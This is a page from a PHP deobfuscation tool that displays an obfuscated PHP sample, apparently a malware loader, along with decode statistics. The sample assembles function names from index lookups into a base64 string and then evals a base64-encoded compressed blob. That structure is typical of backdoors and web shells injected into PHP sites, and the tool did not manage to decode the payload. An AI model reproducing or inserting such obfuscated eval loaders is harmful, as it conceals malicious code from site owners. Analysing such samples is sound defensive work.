Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..

Decoded Output download

<?php  
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA=="); 
function rotencode($string,$amount){  
$key = substr($string, 0, 1);  
if(strlen($string)==1){  
return chr(ord($key) + $amount);  
} else {  
return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); 
 } 
} 
 
if(!function_exists("rotencode")){function rotencode($string,$amount) {  
$key = substr($string, 0, 1); if(strlen($string)==1) {  
return chr(ord($key) + $amount);  
} else { 
 return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); 
  } 
 } 
} 
 
 
 
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11]; 
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1); 
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11]; 
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11]; 
eval($OO000OO000OO(base64_decode('LcS3sq 
tGAADQn/HMu3coyEiMK0QUS1gQwdB4CEsGkdPXu/ 
EpDtqT7ucv2yYI4v9+0mRBHPNvjrJvjn7+GLmiLZ 
MuCILkXMQd4A8+El5A7qtwfQltreanufqU5Mphgu 
AUn+GNXi6HomLnL9qPq32A/GHboe3h7Kvms/3m4w 
Q66Ts1vnU1zCfiyuj2UHZtYn8yGZSeCNvaCbcB1K 
Trfn9xgzYmeoAb5Xg7Fo4G0fXsnEK5M5OusKz3Yu 
WI5hpslYxRU668tXIJD2wr24aVcGlTChal5hcycp 
dcuSR1eEwsG5nRw+0AYQQLDlxrwtzvJMfiQgWFLx 
sLfD5WMUepbJohVpDPaEUK454n4+2ll6wOcXd5I9 
viAG1CtXzFpcHbRvFZp3pTO1sU42SrdQHVG9Y/i6 
zSo1DjeSEpcJGbolFAVWQJ/AYsePgRSfVUMDLdi5 
w89ch6lpkoIJIff35PirbKlxo5JrBaVpoRdwml6P 
lHhFHvhmEoHnFjAkT3KDMGnaKv3AerH9vZnQO8Gf 
pqZhKqXfHWX1sHUtvedNC3W6/1zt5AzTIDsPCckA 
l3dl1X3VZLAo+lrt9dWirQK7uVDms01PvEQNui6s 
4JExM956nTYmtV3B2rwg9q0mfqcE9vtdojgr0JLm 
H9EqEhehtoQJS8qAufxz0nF+ip4NkSZoLBqniOWq 
EzfrPOEzXPZl9pY/iRy1Yj5jGSzMJx/FpbNVdZpI 
OxZrrGrprh2SnTS3qwe4B/Huree8E5DIWtM/bmuL 
y7lt2niulELoeLCGPFmyNF58LvGSWfE2WeORDkE4 
c3huF/fn9///4P'))); 
?>

Did this file decode correctly?

Original Code

<?php 
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
function rotencode($string,$amount){ 
$key = substr($string, 0, 1); 
if(strlen($string)==1){ 
return chr(ord($key) + $amount); 
} else { 
return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount);
 }
}

if(!function_exists("rotencode")){function rotencode($string,$amount) { 
$key = substr($string, 0, 1); if(strlen($string)==1) { 
return chr(ord($key) + $amount); 
} else {
 return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount);
  }
 }
}



$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LcS3sq
tGAADQn/HMu3coyEiMK0QUS1gQwdB4CEsGkdPXu/
EpDtqT7ucv2yYI4v9+0mRBHPNvjrJvjn7+GLmiLZ
MuCILkXMQd4A8+El5A7qtwfQltreanufqU5Mphgu
AUn+GNXi6HomLnL9qPq32A/GHboe3h7Kvms/3m4w
Q66Ts1vnU1zCfiyuj2UHZtYn8yGZSeCNvaCbcB1K
Trfn9xgzYmeoAb5Xg7Fo4G0fXsnEK5M5OusKz3Yu
WI5hpslYxRU668tXIJD2wr24aVcGlTChal5hcycp
dcuSR1eEwsG5nRw+0AYQQLDlxrwtzvJMfiQgWFLx
sLfD5WMUepbJohVpDPaEUK454n4+2ll6wOcXd5I9
viAG1CtXzFpcHbRvFZp3pTO1sU42SrdQHVG9Y/i6
zSo1DjeSEpcJGbolFAVWQJ/AYsePgRSfVUMDLdi5
w89ch6lpkoIJIff35PirbKlxo5JrBaVpoRdwml6P
lHhFHvhmEoHnFjAkT3KDMGnaKv3AerH9vZnQO8Gf
pqZhKqXfHWX1sHUtvedNC3W6/1zt5AzTIDsPCckA
l3dl1X3VZLAo+lrt9dWirQK7uVDms01PvEQNui6s
4JExM956nTYmtV3B2rwg9q0mfqcE9vtdojgr0JLm
H9EqEhehtoQJS8qAufxz0nF+ip4NkSZoLBqniOWq
EzfrPOEzXPZl9pY/iRy1Yj5jGSzMJx/FpbNVdZpI
OxZrrGrprh2SnTS3qwe4B/Huree8E5DIWtM/bmuL
y7lt2niulELoeLCGPFmyNF58LvGSWfE2WeORDkE4
c3huF/fn9///4P')));
?>

Function Calls

base64_decode 1
function_exists 1
11411111610111099111100101 1

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp
$O0O0O0O0O0O0 11411111610111099111100101

Stats

MD5 ce2e2d37b5c7f1fea23ebd3bab141da8
Eval Count 0
Decode Time 84 ms